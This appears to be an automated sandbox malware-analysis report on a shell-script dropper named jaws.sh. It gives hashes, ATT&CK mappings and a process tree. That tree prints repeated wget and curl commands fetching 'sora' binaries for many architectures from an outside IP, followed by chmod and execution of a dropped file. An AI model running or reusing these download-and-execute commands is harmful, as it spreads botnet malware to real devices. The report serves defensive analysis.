17aff59a513355b0a1a96273772c9b96aafb5f5160291ea54b61a116461359bd

Analysis

max time kernel
38s
max time network
39s
platform
debian-9_mipsel
resource
debian9-mipsel-20240729-en
resource tags

arch:mipselimage:debian9-mipsel-20240729-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
10/11/2024, 18:43

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General

Target
jaws.sh
Size 2KB
Sample241110-xcxjxsshjd
SHA256 17aff59a513355b0a1a96273772c9b96aafb5f5160291ea54b61a116461359bd
MD5 57b9aa1adfc4bf48abb154d40d031ffa
SHA1 16d2c66f0427282c2516d9161f26371067d411a7
SHA512 7135dd0b5447ed529151b2b42c643711700189fbb8b07590db0223ce53bf982d4108e7476112620b7e8521b2a0262a6dc0e7fbbc731ab2a299bd0c5bc2ef3627
MD5 SHA1 SHA512

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 14 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
749	chmod
819	chmod
841	chmod
850	chmod
880	chmod
801	chmod
860	chmod
867	chmod
895	chmod
737	chmod
756	chmod
763	chmod
770	chmod
785	chmod

Executes dropped EXE 14 IoCs

ioc	pid	Process
/tmp/robben	738	robben
/tmp/robben	750	robben
/tmp/robben	757	robben
/tmp/robben	764	robben
/tmp/robben	771	robben
/tmp/robben	786	robben
/tmp/robben	803	robben
/tmp/robben	820	robben
/tmp/robben	842	robben
/tmp/robben	851	robben
/tmp/robben	861	robben
/tmp/robben	868	robben
/tmp/robben	881	robben
/tmp/robben	896	robben

Reads runtime system information 14 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

System Network Configuration Discovery 1 TTPs 3 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
741	wget
744	curl
748	cat

Writes file to tmp directory 1 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/robben	jaws.sh

/tmp/jaws.sh
/tmp/jaws.sh
1⤵
- Writes file to tmp directory
PID:710
- /usr/bin/wget
  wget http://b185.78.76.132/bins/sora.x86
  2⤵
  PID:713
- /usr/bin/curl
  curl -O http://b185.78.76.132/bins/sora.x86
  2⤵
  - Reads runtime system information
  PID:724
- /bin/cat
  cat sora.x86
  2⤵
  PID:735
- /bin/chmod
  chmod +x jaws.sh robben systemd-private-819d5c3ad7eb4daf80a8012e11071e4a-systemd-timedated.service-ziMR5o
  2⤵
  - File and Directory Permissions Modification
  PID:737
- /tmp/robben
  ./robben jaws.exploit
  2⤵
  - Executes dropped EXE
  PID:738
- /usr/bin/wget
  wget http://b185.78.76.132/bins/sora.mips
  2⤵
  - System Network Configuration Discovery
  PID:741
- /usr/bin/curl
  curl -O http://b185.78.76.132/bins/sora.mips
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  PID:744
- /bin/cat
  cat sora.mips
  2⤵
  - System Network Configuration Discovery
  PID:748
- /bin/chmod
  chmod +x jaws.sh robben systemd-private-819d5c3ad7eb4daf80a8012e11071e4a-systemd-timedated.service-ziMR5o
  2⤵
  - File and Directory Permissions Modification
  PID:749
- /tmp/robben
  ./robben jaws.exploit
  2⤵
  - Executes dropped EXE
  PID:750
- /usr/bin/wget
  wget http://b185.78.76.132/bins/sora.x86_64
  2⤵
  PID:752
- /usr/bin/curl
  curl -O http://b185.78.76.132/bins/sora.x86_64
  2⤵
  - Reads runtime system information
  PID:753
- /bin/cat
  cat sora.x86_64
  2⤵
  PID:755
- /bin/chmod
  chmod +x jaws.sh robben systemd-private-819d5c3ad7eb4daf80a8012e11071e4a-systemd-timedated.service-ziMR5o
  2⤵
  - File and Directory Permissions Modification
  PID:756
- /tmp/robben
  ./robben jaws.exploit
  2⤵
  - Executes dropped EXE
  PID:757
- /usr/bin/wget
  wget http://b185.78.76.132/bins/sora.i468
  2⤵
  PID:759
- /usr/bin/curl
  curl -O http://b185.78.76.132/bins/sora.i468
  2⤵
  - Reads runtime system information
  PID:760
- /bin/cat
  cat sora.i468
  2⤵
  PID:762
- /bin/chmod
  chmod +x jaws.sh robben systemd-private-819d5c3ad7eb4daf80a8012e11071e4a-systemd-timedated.service-ziMR5o
  2⤵
  - File and Directory Permissions Modification
  PID:763
- /tmp/robben
  ./robben jaws.exploit
  2⤵
  - Executes dropped EXE
  PID:764
- /usr/bin/wget
  wget http://b185.78.76.132/bins/sora.i686
  2⤵
  PID:766
- /usr/bin/curl
  curl -O http://b185.78.76.132/bins/sora.i686
  2⤵
  - Reads runtime system information
  PID:767
- /bin/cat
  cat sora.i686
  2⤵
  PID:769
- /bin/chmod
  chmod +x jaws.sh robben systemd-private-819d5c3ad7eb4daf80a8012e11071e4a-systemd-timedated.service-ziMR5o
  2⤵
  - File and Directory Permissions Modification
  PID:770
- /tmp/robben
  ./robben jaws.exploit
  2⤵
  - Executes dropped EXE
  PID:771
- /usr/bin/wget
  wget http://b185.78.76.132/bins/sora.mpsl
  2⤵
  PID:773
- /usr/bin/curl
  curl -O http://b185.78.76.132/bins/sora.mpsl
  2⤵
  - Reads runtime system information
  PID:776
- /bin/cat
  cat sora.mpsl
  2⤵
  PID:782
- /bin/chmod
  chmod +x jaws.sh robben systemd-private-819d5c3ad7eb4daf80a8012e11071e4a-systemd-timedated.service-ziMR5o
  2⤵
  - File and Directory Permissions Modification
  PID:785
- /tmp/robben
  ./robben jaws.exploit
  2⤵
  - Executes dropped EXE
  PID:786
- /usr/bin/wget
  wget http://b185.78.76.132/bins/sora.arm4
  2⤵
  PID:788
- /usr/bin/curl
  curl -O http://b185.78.76.132/bins/sora.arm4
  2⤵
  - Reads runtime system information
  PID:791
- /bin/cat
  cat sora.arm4
  2⤵
  PID:799
- /bin/chmod
  chmod +x jaws.sh robben systemd-private-819d5c3ad7eb4daf80a8012e11071e4a-systemd-timedated.service-ziMR5o
  2⤵
  - File and Directory Permissions Modification
  PID:801
- /tmp/robben
  ./robben jaws.exploit
  2⤵
  - Executes dropped EXE
  PID:803
- /usr/bin/wget
  wget http://b185.78.76.132/bins/sora.arm5
  2⤵
  PID:805
- /usr/bin/curl
  curl -O http://b185.78.76.132/bins/sora.arm5
  2⤵
  - Reads runtime system information
  PID:808
- /bin/cat
  cat sora.arm5
  2⤵
  PID:817
- /bin/chmod
  chmod +x jaws.sh robben systemd-private-819d5c3ad7eb4daf80a8012e11071e4a-systemd-timedated.service-ziMR5o
  2⤵
  - File and Directory Permissions Modification
  PID:819
- /tmp/robben
  ./robben jaws.exploit
  2⤵
  - Executes dropped EXE
  PID:820
- /usr/bin/wget
  wget http://b185.78.76.132/bins/sora.arm6
  2⤵
  PID:822
- /usr/bin/curl
  curl -O http://b185.78.76.132/bins/sora.arm6
  2⤵
  - Reads runtime system information
  PID:827
- /bin/cat
  cat sora.arm6
  2⤵
  PID:838
- /bin/chmod
  chmod +x jaws.sh robben systemd-private-819d5c3ad7eb4daf80a8012e11071e4a-systemd-timedated.service-ziMR5o
  2⤵
  - File and Directory Permissions Modification
  PID:841
- /tmp/robben
  ./robben jaws.exploit
  2⤵
  - Executes dropped EXE
  PID:842
- /usr/bin/wget
  wget http://b185.78.76.132/bins/sora.arm7
  2⤵
  PID:844
- /usr/bin/curl
  curl -O http://b185.78.76.132/bins/sora.arm7
  2⤵
  - Reads runtime system information
  PID:846
- /bin/cat
  cat sora.arm7
  2⤵
  PID:849
- /bin/chmod
  chmod +x jaws.sh robben systemd-private-819d5c3ad7eb4daf80a8012e11071e4a-systemd-timedated.service-ziMR5o
  2⤵
  - File and Directory Permissions Modification
  PID:850
- /tmp/robben
  ./robben jaws.exploit
  2⤵
  - Executes dropped EXE
  PID:851
- /usr/bin/wget
  wget http://b185.78.76.132/bins/sora.ppc
  2⤵
  PID:853
- /usr/bin/curl
  curl -O http://b185.78.76.132/bins/sora.ppc
  2⤵
  - Reads runtime system information
  PID:854
- /bin/cat
  cat sora.ppc
  2⤵
  PID:859
- /bin/chmod
  chmod +x jaws.sh robben
  2⤵
  - File and Directory Permissions Modification
  PID:860
- /tmp/robben
  ./robben jaws.exploit
  2⤵
  - Executes dropped EXE
  PID:861
- /usr/bin/wget
  wget http://b185.78.76.132/bins/sora.ppc440fp
  2⤵
  PID:863
- /usr/bin/curl
  curl -O http://b185.78.76.132/bins/sora.ppc440fp
  2⤵
  - Reads runtime system information
  PID:864
- /bin/cat
  cat sora.ppc440fp
  2⤵
  PID:866
- /bin/chmod
  chmod +x jaws.sh robben
  2⤵
  - File and Directory Permissions Modification
  PID:867
- /tmp/robben
  ./robben jaws.exploit
  2⤵
  - Executes dropped EXE
  PID:868
- /usr/bin/wget
  wget http://b185.78.76.132/bins/sora.m68k
  2⤵
  PID:870
- /usr/bin/curl
  curl -O http://b185.78.76.132/bins/sora.m68k
  2⤵
  - Reads runtime system information
  PID:871
- /bin/cat
  cat sora.m68k
  2⤵
  PID:877
- /bin/chmod
  chmod +x jaws.sh robben
  2⤵
  - File and Directory Permissions Modification
  PID:880
- /tmp/robben
  ./robben jaws.exploit
  2⤵
  - Executes dropped EXE
  PID:881
- /usr/bin/wget
  wget http://b185.78.76.132/bins/sora.sh4
  2⤵
  PID:883
- /usr/bin/curl
  curl -O http://b185.78.76.132/bins/sora.sh4
  2⤵
  - Reads runtime system information
  PID:886
- /bin/cat
  cat sora.sh4
  2⤵
  PID:893
- /bin/chmod
  chmod +x jaws.sh robben
  2⤵
  - File and Directory Permissions Modification
  PID:895
- /tmp/robben
  ./robben jaws.exploit
  2⤵
  - Executes dropped EXE
  PID:896

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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